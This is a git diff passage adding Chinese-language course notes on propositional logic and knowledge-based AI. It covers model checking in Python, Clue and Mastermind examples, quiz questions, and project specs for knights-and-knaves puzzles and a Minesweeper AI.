+        Sentence.validate(left)
+        Sentence.validate(right)
+        self.left = left
+        self.right = right
+    def __eq__(self, other):
+        """定义相等"""
+        return (isinstance(other, Biconditional)
+                and self.left == other.left
+                and self.right == other.right)
+    ...
+    def evaluate(self, model):
+        """逻辑等值在模型中的赋值"""
+        return ((self.left.evaluate(model)
+                 and self.right.evaluate(model))
+                or (not self.left.evaluate(model)
+                    and not self.right.evaluate(model)))
+    def formula(self):
+        """返回表示逻辑等值的字符串形式"""
+        left = Sentence.parenthesize(str(self.left))
+        right = Sentence.parenthesize(str(self.right))
+        return f"{left} <=> {right}"
+    def symbols(self):
+        """"返回逻辑等值中的所有命题符号的集合"""
+        return set.union(self.left.symbols(), self.right.symbols())
+```
+
+## Model_check()——模型检测算法
+
+```python
+def model_check(knowledge, query):
+    """
+    检查知识库是否推理蕴含查询结论。
+    >>> p = Symbol("p")
+    >>> q = Symbol("q")
+    >>> r = Symbol("r")
+    >>> knowledge = And(p, q, Implication(And(p, q), r))
+    >>> knowledge.formula()
+    'p ∧ q ∧ ((p ∧ q) => r)'
+    >>> query = r
+    >>> model_check(knowledge,query)
+    True
+    """
+    def check_all(knowledge, query, symbols, model):
+        """检查给定特定模型的知识库是否推理蕴含查询结论。"""
+        # 如果模型已经为所有的命题符号赋值
+        if not symbols:  # symbols 为空即所有 symbols 都在模型中被赋值
+            # 若模型中的知识库为真，则查询结论也必须为真
+            if knowledge.evaluate(model):
+                return query.evaluate(model)
+            return True
+        else:
+            # 递归生成并检测所有模型
+            # 选择其余未使用的命题符号之一
+            remaining = symbols.copy()
+            p = remaining.pop()
+            # 创建一个命题符号为 true 的模型
+            model_true = model.copy()
+            model_true[p] = True
+            # 创建一个命题符号为 false 的模型
+            model_false = model.copy()
+            model_false[p] = False
+            # 确保在两种模型中都进行蕴含推理
+            return (check_all(knowledge, query, remaining, model_true) and
+                    check_all(knowledge, query, remaining, model_false))
+    # 获取知识库和查询结论中的所有命题符号
+    symbols = set.union(knowledge.symbols(), query.symbols())
+    # 进行模型检测
+    return check_all(knowledge, query, symbols, dict())
+```
+
+## 线索游戏
+
+在游戏中，一个人在某个地点使用工具实施了谋杀。人、工具和地点用卡片表示。每个类别的一张卡片被随机挑选出来，放在一个信封里，由参与者来揭开真相。参与者通过揭开卡片并从这些线索中推断出信封里必须有什么来做到这一点。我们将使用之前的模型检查算法来揭开这个谜团。在我们的模型中，我们将已知与谋杀有关的项目标记为 True，否则标记为 False。
+
+```python
+import termcolor
+from logic import *
+mustard = Symbol("ColMustard")
+plum = Symbol("ProfPlum")
+scarlet = Symbol("MsScarlet")
+characters = [mustard, plum, scarlet]
+
+ballroom = Symbol("ballroom")
+kitchen = Symbol("kitchen")
+library = Symbol("library")
+rooms = [ballroom, kitchen, library]
+
+knife = Symbol("knife")
+revolver = Symbol("revolver")
+wrench = Symbol("wrench")
+weapons = [knife, revolver, wrench]
+
+symbols = characters + rooms + weapons
+def check_knowledge(knowledge):
+    for symbol in symbols:
+        if model_check(knowledge, symbol):
+            termcolor.cprint(f"{symbol}: YES", "green")
+        elif not model_check(knowledge, Not(symbol)):
+            # 模型检测无法确定知识库可以得出 Not(symbol) 即 symbol 是可能的
+            print(f"{symbol}: MAYBE")
+        else:
+            termcolor.cprint(f"{symbol}: No", "red")
+# 必须有人、房间和武器。
+knowledge = And(
+    Or(mustard, plum, scarlet),
+    Or(ballroom, kitchen, library),
+    Or(knife, revolver, wrench)
+)
+# 初始卡牌
+knowledge.add(And(
+    Not(mustard), Not(kitchen), Not(revolver)
+))
+# 未知卡牌
+knowledge.add(Or(
+    Not(scarlet), Not(library), Not(wrench)
+))
+# 已知卡牌
+knowledge.add(Not(plum))
+knowledge.add(Not(ballroom))
+check_knowledge(knowledge)
+```
+
+## Mastermind 游戏
+
+在这个游戏中，玩家一按照一定的顺序排列颜色，然后玩家二必须猜测这个顺序。每一轮，玩家二进行猜测，玩家一返回一个数字，指示玩家二正确选择了多少颜色。让我们用四种颜色模拟一个游戏。假设玩家二猜测以下顺序：
+
+![](https://cdn.xyxsw.site/FZCJbOzr9o4oQPx7SNGcFxTSnRd.png)
+
+玩家一回答“二”。因此，我们知道其中一些两种颜色位于正确的位置，而另两种颜色则位于错误的位置。根据这些信息，玩家二试图切换两种颜色的位置。
+
+![](https://cdn.xyxsw.site/Y80wbn96sol7PUxO5fKcOA9Hnbg.png)
+
+现在玩家一回答“零”。因此，玩家二知道切换后的颜色最初位于正确的位置，这意味着未被切换的两种颜色位于错误的位置。玩家二切换它们。
+
+![](https://cdn.xyxsw.site/EuXObldHcoaO74xIzZocQQKTn4k.png)
+
+在命题逻辑中表示这一点需要我们有 (颜色的数量)$^2$个原子命题。所以，在四种颜色的情况下，我们会有命题 red0，red1，red2，red3，blue0…代表颜色和位置。下一步是用命题逻辑表示游戏规则（每个位置只有一种颜色，没有颜色重复），并将它们添加到知识库中。最后一步是将我们所拥有的所有线索添加到知识库中。在我们的案例中，我们会补充说，在第一次猜测中，两个位置是错误的，两个是正确的，而在第二次猜测中没有一个是对的。利用这些知识，模型检查算法可以为我们提供难题的解决方案。
+
+```python
+from logic import *
+colors = ["red", "blue", "green", "yellow"]
+symbols = []
+for i in range(4):
+    for color in colors:
+        symbols.append(Symbol(f"{color}{i}"))
+knowledge = And()
+# 每种颜色都有一个位置。
+for color in colors:
+    knowledge.add(Or(
+        Symbol(f"{color}0"),
+        Symbol(f"{color}1"),
+        Symbol(f"{color}2"),
+        Symbol(f"{color}3")
+    ))
+# 每种颜色只有一个位置。
+for color in colors:
+    for i in range(4):
+        for j in range(4):
+            if i != j:
+                knowledge.add(Implication(
+                    Symbol(f"{color}{i}"), Not(Symbol(f"{color}{j}"))
+                ))
+# 每个位置只有一种颜色。
+for i in range(4):
+    for c1 in colors:
+        for c2 in colors:
+            if c1 != c2:
+                knowledge.add(Implication(
+                    Symbol(f"{c1}{i}"), Not(Symbol(f"{c2}{i}"))
+                ))
+knowledge.add(Or(
+    And(Symbol("red0"), Symbol("blue1"), Not(Symbol("green2")), Not(Symbol("yellow3"))),
+    And(Symbol("red0"), Symbol("green2"), Not(Symbol("blue1")), Not(Symbol("yellow3"))),
+    And(Symbol("red0"), Symbol("yellow3"), Not(Symbol("blue1")), Not(Symbol("green2"))),
+    And(Symbol("blue1"), Symbol("green2"), Not(Symbol("red0")), Not(Symbol("yellow3"))),
+    And(Symbol("blue1"), Symbol("yellow3"), Not(Symbol("red0")), Not(Symbol("green2"))),
+    And(Symbol("green2"), Symbol("yellow3"), Not(Symbol("red0")), Not(Symbol("blue1")))
+))
+knowledge.add(And(
+    Not(Symbol("blue0")),
+    Not(Symbol("red1")),
+    Not(Symbol("green2")),
+    Not(Symbol("yellow3"))
+))
+print(knowledge.formula())
+for symbol in symbols:
+    if model_check(knowledge, symbol):
+        print(symbol)
+```
+
+## Quiz
+
+1. 下面的问题将问你关于以下逻辑句子的问题。1.如果 Hermione 在图书馆，那么 Harry 在图书馆。2.Hermione 在图书馆里。3.Ron 在图书馆，Ron 不在图书馆。4.Harry 在图书馆。5.Harry 不在图书馆，或者 Hermione 在图书馆。6.Rom 在图书馆，或者 Hermione 在图书馆。
+
+    以下哪一个逻辑蕴含推理是正确的？
+
+   1. $1\vDash 4$
+   2. $5\vDash 6$
+   3. $1\vDash 2$
+   4. $6\vDash 2$
+   5. $2\vDash 5$
+   6. $6\vDash 3$
+
+2. 除了讲义上讨论的连接词之外，还有其他的逻辑连接词。其中最常见的是“异或”（用符号$\oplus$表示）。表达式$A\oplus B$表示句子“A 或 B，但不是两者都有。”以下哪一个在逻辑上等同于$A\oplus B$？
+   1. $(A ∨ B) ∧ ¬ (A ∨ B)$
+   2. $(A ∨ B) ∧ (A ∧ B)$
+   3. $(A ∨ B) ∧ ¬ (A ∧ B)$
+   4. $(A ∧ B) ∨ ¬ (A ∨ B)$
+
+3. 设命题变量$R$为“今天下雨”，变量$C$为“今天多云”，变量$S$ 为“今天晴”。下面哪一个是“如果今天下雨，那么今天多云但不是晴天”这句话的命题逻辑表示？
+
+    1. $(R → C) ∧ ¬S$
+    2. $R → C → ¬S$
+    3. $R ∧ C ∧ ¬S$
+    4. $R → (C ∧ ¬S)$
+    5. $(C ∨ ¬S) → R$
+
+4. 在一阶逻辑中，考虑以下谓词符号。$Student(x)$表示“x 是学生”的谓词。$Course(x)$代表“x 是课程”的谓词，$Enrolled(x,y)$表示“x 注册了 y”的谓词以下哪一项是“有一门课程是 Harry 和 Hermione 都注册的”这句话的一阶逻辑翻译？
+    1. $∀x(Course(x)∧Enrolled(Harry, x) ∧ Enrolled(Hermione, x))$
+    2. $∀x(Enrolled(Harry, x) ∨ Enrolled(Hermione, x))$
+    3. $∀x(Enrolled(Harry, x) ∧ ∀y Enrolled(Hermione, y))$
+    4. $∃xEnrolled(Harry, x) ∧ ∃y Enrolled(Hermione, y)$
+    5. $∃x(Course(x) ∧ Enrolled(Harry, x) ∧ Enrolled(Hermione, x))$
+    6. $∃x(Enrolled(Harry, x) ∨ Enrolled(Hermione, x))$
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.3.2.2项目：扫雷，骑士与流氓问题.md b/技术资源汇总(杭电支持版)/4.人工智能/4.3.2.2项目：扫雷，骑士与流氓问题.md
new file mode 100644
index 0000000..80b7020
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/4.3.2.2项目：扫雷，骑士与流氓问题.md
@@ -0,0 +1,234 @@
+# 项目：扫雷，骑士与流氓问题
+
+::: warning 😋 我们为你提供了两个简单有趣的项目，帮助你进行知识巩固，请认真阅读文档内容。
+
+如果你卡住了，请记得回来阅读文档，或请求身边人的帮助。
+:::
+
+::: tip 📥
+本节附件下载 <Download url="https://cdn.xyxsw.site/code/2-Projects.zip"/>
+:::
+
+`pip3 install -r requirements.txt`
+
+## 骑士与流氓问题
+
+### 背景
+
+在 1978 年，逻辑学家雷蒙德·斯穆里安（Raymond Smullyan）出版了《这本书叫什么名字？》，这是一本逻辑难题的书。在书中的谜题中，有一类谜题被斯穆里安称为“骑士与流氓”谜题。
+
+在骑士与流氓谜题中，给出了以下信息：每个角色要么是骑士，要么是流氓。骑士总是会说实话：如果骑士陈述了一句话，那么这句话就是真的。相反，流氓总是说谎：如果流氓陈述了一个句子，那么这个句子就是假的。
+
+谜题的目标是，给出每个角色说的一组句子，确定每个角色是骑士还是流氓。
+
+比如，这里有一个简单的谜题只有一个名为 A 的角色。A 说：“我既是骑士又是流氓。”
+
+从逻辑上讲，我们可以推断，如果 A 是骑士，那么这句话一定是真的。但我们知道这句话不可能是真的，因为 A 不可能既是骑士又是流氓——我们知道每个角色要么是骑士，要么是流氓，不会出现是流氓的骑士或是骑士的流氓。所以，我们可以得出结论，A 一定是流氓。
+
+那个谜题比较简单。随着更多的字符和更多的句子，谜题可以变得更加棘手！你在这个问题中的任务是确定如何使用命题逻辑来表示这些谜题，这样一个运行模型检查算法的人工智能可以为我们解决这些谜题。
+
+### 理解
+
+看一下 `logic.py`，你可能还记得讲义的内容。无需了解此文件中的所有内容，但请注意，此文件为不同类型的逻辑连接词定义了多个类。这些类可以相互组合，所以表达式 `And(Not(A), Or(B, C))` 代表逻辑语句：命题 A 是不正确的，同时，命题 B 或者命题 C 是正确的。（这里的“或”是同或，不是异或）
+
+回想一下 `logic.py`，它还包含一个 函数 `model_check` 。`model_check` 输入知识库和查询结论。知识库是一个逻辑命题：如果知道多个逻辑语句，则可以将它们连接在一个表达式中。递归考虑所有可能的模型，如果知识库推理蕴含查询结论，则返回 `True`，否则返回 `False`。
+
+现在，看看 `puzzle.py`，在顶部，我们定义了六个命题符号。例如，`AKnight` 表示“A 是骑士”的命题，`AKnave` 而表示“A 是流氓”的句子。我们也为字符 B 和 C 定义了类似的命题符号。
+
+接下来是四个不同的知识库 `knowledge0`, `knowledge1`, `knowledge2`, and `knowledge3`，它们将分别包含推断即将到来的谜题 0、1、2 和 3 的解决方案所需的知识。请注意，目前，这些知识库中的每一个都是空的。这就是你进来的地方！
+
+这个 `puzzle.py` 的 `main` 函数在所有谜题上循环，并使用模型检查来计算，给定谜题的知识，无论每个角色是骑士还是无赖，打印出模型检查算法能够得出的任何结论。
+
+### 明确
+
+将知识添加到知识库 `knowledge0`, `knowledge1`, `knowledge2`, 和 `knowledge3` 中，以解决以下难题。
+
+- 谜题 0 是背景中的谜题。它只包含一个简单的角色 A
+
+  A 说：“我既是骑士又是流氓。”
+
+- 谜题 1 有两个角色：A 和 B
+
+  A 说：“我们都是流氓。”
+
+  B 什么都没说。
+
+- 谜题 2 有两个角色：A 和 B
+
+  A 说：“我们是同一种身份。”
+
+  B 说：“我们不是同一种身份。”
+
+- 谜题 3 有三个角色：A，B 和 C
+
+  A 说：“我是骑士”或者 A 说：“我是流氓”（这里“或”是异或，不是同或），但你不知道 A 说的是哪句话。
+
+  B 说：“A 说过‘我是流氓’。”
+
+  B 又说：“C 是流氓。”
+
+  C 说：“A 是骑士。”
+
+上述每个谜题中，每个角色要么是骑士，要么是流氓。骑士说的每一句话都是真的，流氓说的每一句话都是假的。
+
+一旦你完成了一个问题的知识库，你应该能够运行 `python puzzle.py` 来查看谜题的解决方案。
+
+### 提示
+
+对于每个知识库，你可能想要编码两种不同类型的信息：（1）关于问题本身结构的信息（即骑士与流氓谜题定义中给出的信息），以及（2）关于角色实际说了什么的信息。
+
+考虑一下，如果一个句子是由一个角色说出的，这意味着什么。在什么条件下这句话是真的？在什么条件下这个句子是假的？你如何将其表达为一个合乎逻辑的句子？
+
+每个谜题都有多个可能的知识库，可以计算出正确的结果。你应该尝试选择一个能对谜题中的信息进行最直接的知识库，而不是自己进行逻辑推理。你还应该考虑谜题中信息最简洁的表达方式是什么。
+
+例如，对于谜题 0，设置 `knowledge0=AKnave` 将产生正确的输出，因为通过我们自己的推理，我们知道 A 一定是一个无赖。但这样做违背了这个问题的精神：目标是让你的人工智能为你做推理。
+
+您不需要（也不应该）修改 `logic.py` 来完成这个问题。
+
+## 扫雷
+
+写一个 AI 来玩扫雷游戏。
+
+![](https://cdn.xyxsw.site/CQmGb6QTjoeyVCx9vjncYF2QnQe.png)
+
+### 背景
+
+#### 扫雷游戏
+
+扫雷器是一款益智游戏，由一个单元格网格组成，其中一些单元格包含隐藏的“地雷”。点击包含地雷的单元格会引爆地雷，导致用户输掉游戏。单击“安全”单元格（即不包含地雷的单元格）会显示一个数字，指示有多少相邻单元格包含地雷，其中相邻单元格是指从给定单元格向左、向右、向上、向下或对角线一个正方形的单元格。
+例如，在这个 3x3 扫雷游戏中，三个 1 值表示这些单元格中的每个单元格都有一个相邻的单元格，该单元格是地雷。四个 0 值表示这些单元中的每一个都没有相邻的地雷。
+
+![](https://cdn.xyxsw.site/BcfWbqCNKoXpTHxPQVqczsvcnBd.png)
+
+给定这些信息，玩家根据逻辑可以得出结论，右下角单元格中一定有地雷，左上角单元格中没有地雷，因为只有在这种情况下，其他单元格上的数字标签才会准确。
+
+游戏的目标是标记（即识别）每个地雷。在游戏的许多实现中，包括本项目中的实现中，玩家可以通过右键单击单元格（或左键双击，具体取决于计算机）来标记地雷。
+
+#### 命题逻辑
+
+你在这个项目中的目标是建立一个可以玩扫雷游戏的人工智能。回想一下，基于知识的智能主体通过考虑他们的知识库来做出决策，并根据这些知识做出推断。
+
+我们可以表示人工智能关于扫雷游戏的知识的一种方法是，使每个单元格成为命题变量，如果单元格包含地雷，则为真，否则为假。
+
+![](https://cdn.xyxsw.site/IROdbJ4zAooiWNxitU9cRovbnne.png)
+
+我们现在掌握了什么信息？我们现在知道八个相邻的单元格中有一个是地雷。因此，我们可以写一个逻辑表达式，如下所示，表示其中一个相邻的单元格是地雷。
+
+- `Or(A,B,C,D,E,F,G,H)`
+
+但事实上，我们知道的比这个表达所说的要多。上面的逻辑命题表达了这样一种观点，即这八个变量中至少有一个是真的。但我们可以做一个更有力的陈述：我们知道八个变量中有一个是真的。这给了我们一个命题逻辑命题，如下所示。
+
+```txt
+Or(
+    And(A, Not(B), Not(C), Not(D), Not(E), Not(F), Not(G), Not(H)),
+    And(Not(A), B, Not(C), Not(D), Not(E), Not(F), Not(G), Not(H)),
+    And(Not(A), Not(B), C, Not(D), Not(E), Not(F), Not(G), Not(H)),
+    And(Not(A), Not(B), Not(C), D, Not(E), Not(F), Not(G), Not(H)),
+    And(Not(A), Not(B), Not(C), Not(D), E, Not(F), Not(G), Not(H)),
+    And(Not(A), Not(B), Not(C), Not(D), Not(E), F, Not(G), Not(H)),
+    And(Not(A), Not(B), Not(C), Not(D), Not(E), Not(F), G, Not(H)),
+    And(Not(A), Not(B), Not(C), Not(D), Not(E), Not(F), Not(G), H)
+)
+```
+
+这是一个相当复杂的表达！这只是为了表达一个单元格中有 1 意味着什么。如果一个单元格有 2、3 或其他值，这个表达式可能会更长。
+
+试图对这类问题进行模型检查也会很快变得棘手：在 8x8 网格（微软初级游戏模式使用的大小）上，我们有 64 个变量，因此需要检查$2^{64}$个可能的模型——太多了，计算机无法在任何合理的时间内计算。对于这个问题，我们需要更好地表达知识。
+
+#### 知识表示
+
+相反，我们将像下面这样表示人工智能知识的每一句话。
+
+- `{A, B, C, D, E, F, G, H} = 1`
+
+这种表示法中的每个逻辑命题都有两个部分：一个是网格中与提示数字有关的一组单元格 `cell`，另一个是数字计数 `count`，表示这些单元格中有多少是地雷。上面的逻辑命题说，在单元格 A、B、C、D、E、F、G 和 H 中，正好有 1 个是地雷。
+
+为什么这是一个有用的表示？在某种程度上，它很适合某些类型的推理。考虑下面的游戏。
+
+![](https://cdn.xyxsw.site/UiHObqm4noSOKlxcEtScuwPlnLd.png)
+
+利用左下数的知识，我们可以构造命题 `{D，E，G}=0`，意思是在 D、E 和 G 单元中，正好有 0 个是地雷。凭直觉，我们可以从这句话中推断出所有的单元格都必须是安全的。通过推理，每当我们有一个 `count` 为 0 的命题时，我们就知道该命题的所有 `cell` 都必须是安全的。
+
+同样，考虑下面的游戏。
+
+![](https://cdn.xyxsw.site/VSbubz9JYo7H8XxgSbCcmMQHniK.png)
+
+我们的人工智能会构建命题 `{E，F，H}=3`。凭直觉，我们可以推断出所有的 E、F 和 H 都是地雷。更一般地说，任何时候 `cell` 的数量等于 `count`，我们都知道这个命题的所有单元格都必须是地雷。
+
+一般来说，我们只希望我们的命题是关于那些还不知道是安全的还是地雷的 `cell`。这意味着，一旦我们知道一个单元格是否是地雷，我们就可以更新我们的知识库来简化它们，并可能得出新的结论。
+
+例如，如果我们的人工智能知道命题 `{A，B，C}=2`，那么我们还没有足够的信息来得出任何结论。但如果我们被告知 C 是安全的，我们可以将 C 从命题中完全删除，留下命题 `{A，B}=2`（顺便说一句，这确实让我们得出了一些新的结论）
+
+同样，如果我们的人工智能知道命题 `{A，B，C}＝2`，并且我们被告知 C 是一颗地雷，我们可以从命题中删除 C，并减少计数的值（因为 C 是导致该计数的地雷），从而得到命题 `{A、B}＝1`。这是合乎逻辑的：如果 A、B 和 C 中有两个是地雷，并且我们知道 C 是地雷，那么 A 和 B 中一定有一个是地雷。
+
+如果我们更聪明，我们可以做最后一种推理。
+
+![](https://cdn.xyxsw.site/GsxxbeoPzoOZn4xSUaecVzKNnBc.png)
+
+考虑一下我们的人工智能根据中间顶部单元格和中间底部单元格会知道的两个命题。从中上角的单元格中，我们得到 `{A，B，C}=1`。从底部中间单元格中，我们得到 `{A，B，C，D，E}=2`。从逻辑上讲，我们可以推断出一个新的知识，即 `{D，E}＝1`。毕竟，如果 A、B、C、D 和 E 中有两个是地雷，而 A、B 和 C 中只有一个是地雷的话，那么 D 和 E 必须是另一个地雷。
+
+更一般地说，任何时候我们有两个命题满足 `set1=count1` 和 `set2=count2`，其中 `set1` 是 `set2` 的子集，那么我们可以构造新的命题 `set2-set1=count2-count1`。考虑上面的例子，以确保你理解为什么这是真的。
+
+因此，使用这种表示知识的方法，我们可以编写一个人工智能智能主体，它可以收集有关扫雷的知识，并希望选择它知道安全的单元格！
+
+### 理解
+
+这个项目有两个主要文件：`runner.py` 和 `minesweeper.py`。`minesweeper.py` 包含游戏本身和 AI 玩游戏的所有逻辑。`runner.py` 已经为你实现，它包含了运行游戏图形界面的所有代码。一旦你完成了 `minesweeper.py` 中所有必需的功能，你就可以运行 `python runner.py` 来玩扫雷了（或者让你的 AI 为你玩）！
+
+让我们打开 `minesweeper.py` 来了解提供了什么。这个文件中定义了三个类，`Minesweeper`，负责处理游戏；`Sentence`，表示一个既包含一组 `cell` 又包含一个 `count` 的逻辑命题；以及 `MinesweeperAI`，它处理根据知识做出的推断。
+
+`Minesweeper` 类已经完全实现了。请注意，每个单元格都是一对 `(i，j)`，其中 `i` 是行号 (范围从 `0` 到 `height-1`)，`j` 是列号 (范围从 `0` 到 `width-1`)。
+
+`Sentence` 类将用于表示背景中描述的形式的逻辑命题。每个命题中都有一组 `cell`，以及 `count` 表示其中有多少单元格是地雷。该类还包含函数 `known_mines` 和 `known_safes`，用于确定命题中的任何单元格是已知的地雷还是已知的安全单元格。它还包含函数 `mark_mine` 和 `mark_safe`，用于响应有关单元格的新信息来更新命题。
+
+最后，`MinesweeperAI` 类将实现一个可以玩扫雷的 AI。AI 类跟踪许多值。`self.moves_made` 包含一组已经点击过的所有单元格，因此人工智能知道不要再选择这些单元格。`self.mines` 包含一组已知为地雷的所有单元格。`self.safes` 包含一组已知安全的所有单元格。而 `self.knowledge` 包含了人工智能知道是真的所有命题的列表。
+
+`mark_mine` 函数为 `self.mines` 添加了一个单元格，因此 AI 知道这是一个地雷。它还循环遍历人工智能知识中的所有命题，并通知每个命题该单元格是地雷，这样，如果命题包含有关地雷的信息，它就可以相应地更新自己。`mark_safe` 函数也做同样的事情，只是针对安全单元格。
+
+剩下的函数 `add_knowledge`、`make_safe_move` 和 `make_random_move` 由你完成！
+
+### 明确
+
+完成 `minesweeper.py` 中的 `Sentence` 类和 `MinesweeperAI` 类的实现。
+在 `Sentence` 类中，完成 `known_mines`、`known_safes`、`mark_mine` 和 `mark_safe` 的实现。
+
+- `known_mines` 函数应该返回 `self.cells` 中已知为地雷的所有单元格的集合。
+- `known_safes` 函数应该返回 `self.cells` 中已知安全的所有单元格的集合。
+- `mark_mine` 函数应该首先检查单元格是否是命题中包含的单元格之一。
+  - 如果 `cell` 在命题中，函数应该更新命题，使单元格不再在命题中但仍然表示一个逻辑正确的命题，因为该 `cell` 已知是地雷。
+  - 如果命题中没有 `cell`，则不需要采取任何行动。
+- `mark_safe` 函数应该首先检查单元格是否是命题中包含的单元格之一。
+  - 如果 `cell` 在命题中，则函数应更新命题，使单元格不再在命题中但仍然表示一个逻辑正确的命题，因为该 `cell` 已知是安全的。
+  - 如果命题中没有 `cell`，则不需要采取任何行动。
+
+在 `MinesweeperAI` 类中，完成 `add_knowledge`、`make_safe_move` 和 `make_random_move` 的实现。
+
+- `add_knowledge` 应该接受一个单元格（表示为元组 `(i，j)`）及其相应的 `count`，并使用 AI 可以推断的任何新信息更新 `self.mines`、`self.safes`、`self.moves_made` 和 `self.knowledge`，因为该单元格是已知的安全单元格，其附近有计数地雷。
+  - 该函数应将该 `cell` 标记为游戏中的一个动作。
+  - 函数应该将 `cell` 标记为安全单元格，同时更新包含该单元格的任何命题。
+  - 该函数应该根据 `cell` 和 `count` 的值，在人工智能的知识库中添加一个新命题，以表明 `cell` 的邻居有 `count` 是地雷。请确保在命题中只包含状态尚未确定的单元格。
+  - 如果根据 `self.knowledge` 中的任何一个命题，新的单元格可以被标记为安全的或地雷，那么函数应该这样做。
+  - 如果根据 `self.knowledge` 中的任何一个命题，可以推断出新的命题（使用背景技术中描述的子集方法），那么这些命题也应该添加到知识库中。
+  - 请注意，每当你对人工智能的知识做出任何改变时，都有可能得出以前不可能的新推论。如果可能的话，请确保将这些新的推断添加到知识库中。
+
+- `make_safe_move` 应该返回一个已知安全的选择 `(i，j)`。
+  - 必须知道返回的动作是安全的，而不是已经做出的动作。
+  - 如果无法保证安全移动，则函数应返回 `None`。
+  - 该函数不应修改 `self.moves_made`、`self.mines`、`self.safes` 或 `self.knowledge`。
+
+- `make_random_move` 应该返回一个随机选择 `(i，j)`。
+  - 如果无法安全移动，将调用此功能：如果人工智能不知道移动到哪里，它将选择随机移动。
+  - 此举不得是已经采取的行动。
+  - 此举决不能是已知的地雷行动。
+  - 如果无法进行此类移动，则函数应返回 `None`。
+
+### 提示
+
+- 确保你已经彻底阅读了背景部分，以了解知识在这个人工智能中是如何表现的，以及人工智能是如何进行推理的。
+- 如果对面向对象编程感觉不太舒服，你可能会发现[<u>python 关于类</u>](https://docs.python.org/3/tutorial/classes.html)的文档很有帮助。
+- 你可以在[<u>python 关于集合</u>](https://docs.python.org/3/library/stdtypes.html#set)的文档中找到一些常见的集合操作。
+- 在 `Sentence` 类中实现 `known_mines` 和 `known_safes` 时，请考虑：在什么情况下，你确信命题的单元格是安全的？在什么情况下，你确定一个命题的单元格是地雷？
+- `add_knowledge` 做了很多工作，可能是迄今为止你为该项目编写的最长的函数。一步一步地实现此函数的行为可能会有所帮助。
+- 如果愿意，欢迎您向任何类添加新方法，但不应修改任何现有函数的定义或参数。
+- 当你运行你的人工智能（如点击“AI Move”）时，请注意它并不总是获胜！在某些情况下，人工智能必须进行猜测，因为它缺乏足够的信息来进行安全行动。这是意料之中的事。`runner.py` 将打印人工智能是否正在进行其认为安全的移动，或者是否正在进行随机移动。
+- 在对集合进行迭代时，请注意不要修改它。这样做可能会导致错误！
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.3.2知识推理.md b/技术资源汇总(杭电支持版)/4.人工智能/4.3.2知识推理.md
new file mode 100644
index 0000000..83fcd8a
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/4.3.2知识推理.md
@@ -0,0 +1,350 @@
+# 知识推理
+
+人类根据现有的知识进行推理并得出结论。表示知识并从中得出结论的概念也被用于人工智能中，在本章中我们将探讨如何实现这种行为。
+
+::: warning <font size=5>**说好的 AI 呢？怎么感觉越来越偏了？**</font>
+
+如果有这样的疑问的同学，可能存在一定的误区，认为人工智能就是局限在深度学习的算法或者说机器学习的部分算法上，其实这是对这个领域一个巨大的误解。
+
+在 AI 的发展历程上，曾经存在一次符号主义（Symbolic）与联结主义（Connectionism）之争。
+
+联结主义的中心原则是使用，简单且经常一致的单元互联网络，来描述各种现象，即简单的复杂叠加。在目前的深度学习网络中有着最为广泛的应用。
+
+符号主义则相信，智能的许多特征可以透过[符号](https://zh.wikipedia.org/wiki/%E7%89%A9%E7%90%86%E7%AC%A6%E8%99%9F%E7%B3%BB%E7%B5%B1)处理来实现。最为显著的应用即是早期的专家系统。
+
+从本质上来说，二者都存在用机器可以理解的语言表征知识，随后让机器依照人为制定的理论或数据依照概率或推理得到人所期望获得的的知识或结果。
+
+而在本章的内容中，知识推理目标是让机器存储相应的知识，并且能够按照某种规则推理演绎得到新的知识，与 AI 的主体逻辑是相融洽的。目前的主流 AI 领域，知识图谱的重要组成部分，便包括了知识推理这个步骤，即从已知到未知。
+
+那么如何构建让计算机可以理解的知识体系呢？如何让机器从已告知他的逻辑延伸到未告知他逻辑呢？数学家和计算机科学家甚至为此构建了相较而言非常完善的理论体系，包括但不限于离散数学，计算理论甚至是抽象数学，我在最后补充三本阅读材料，各位如果想要深入了解，可以进行进一步的阅读和理解。
+
+较为基础的知识各位可以看以下的内容。
+:::
+
+## 基础知识
+
+### 基于知识的智能主体 (Knowledge-Based Agents)
+
+智能主体通过对内部的知识表征进行操作来推理得出结论。
+
+“根据知识推理得出结论”是什么意思？
+
+让我们开始用哈利波特的例子来回答这个问题。考虑以下句子：
+
+  1. 如果没有下雨，哈利今天会去拜访海格。
+  2. 哈利今天拜访了海格或邓布利多，但没有同时拜访他们。
+  3. 哈利今天拜访了邓布利多。
+基于这三个句子，我们可以回答“今天下雨了吗？”这个问题，尽管没有一个单独的句子告诉我们今天是否下雨，根据推理我们可以得出结论“今天下雨了”。
+
+### 陈述句 (Sentence)
+
+陈述句是知识表示语言中关于世界的断言。陈述句是人工智能存储知识并使用它来推断新信息的方式。
+
+## 命题逻辑 (Propositional Logic)
+
+命题逻辑基于命题。命题是关于世界的陈述，可以是真也可以是假，正如上面例子中的句子。
+
+### 命题符号 (Propositional Symbols)
+
+命题符号通常是用于表示命题的字母$P、Q、R$
+
+### 逻辑连接词 (Logical Connectives)
+
+逻辑连接词是连接命题符号的逻辑符号，以便以更复杂的方式对世界进行推理。
+
+  - <strong>Not</strong><strong> </strong><strong>(</strong>$\lnot$<strong>)</strong> 逻辑非：命题真值的反转。例如，如果 $P$：“正在下雨”，那么 $¬P$：“没有下雨”。
+  真值表用于将所有可能的真值赋值与命题进行比较。该工具将帮助我们更好地理解与不同逻辑连接词相关联的命题的真值。例如，下面是我们的第一个真值表：
+
+    | $P$      | $\lnot P$ |
+    | -------- | --------- |
+    | false(0) | true(1)   |
+    | true(1)  | false(0)  |
+
+- **And(**$\land$**)** 逻辑乘 (合取): 连接两个不同的命题。当这两个命题$P$和$Q$用$∧$连接时，得到的命题$P∧Q$只有在$P$和$Q$都为真的情况下才为真。
+
+  | $P$ | $Q$ | $P\land Q$ |
+  | --- | --- | ---------- |
+  | 0   | 0   | 0          |
+  | 0   | 1   | 0          |
+  | 1   | 0   | 0          |
+  | 1   | 1   | 1          |
+
+- **Or(**$\lor$**)** 逻辑和 (析取): 只要它的任何一个参数为真，它就为真。这意味着要使 $P ∨ Q$为真，$P$ 或 $Q$ 中至少有一个必须为真。
+
+  | $P$ | $Q$ | $P\lor Q$ |
+  | --- | --- | --------- |
+  | 0   | 0   | 0         |
+  | 0   | 1   | 1         |
+  | 1   | 0   | 1         |
+  | 1   | 1   | 1         |
+
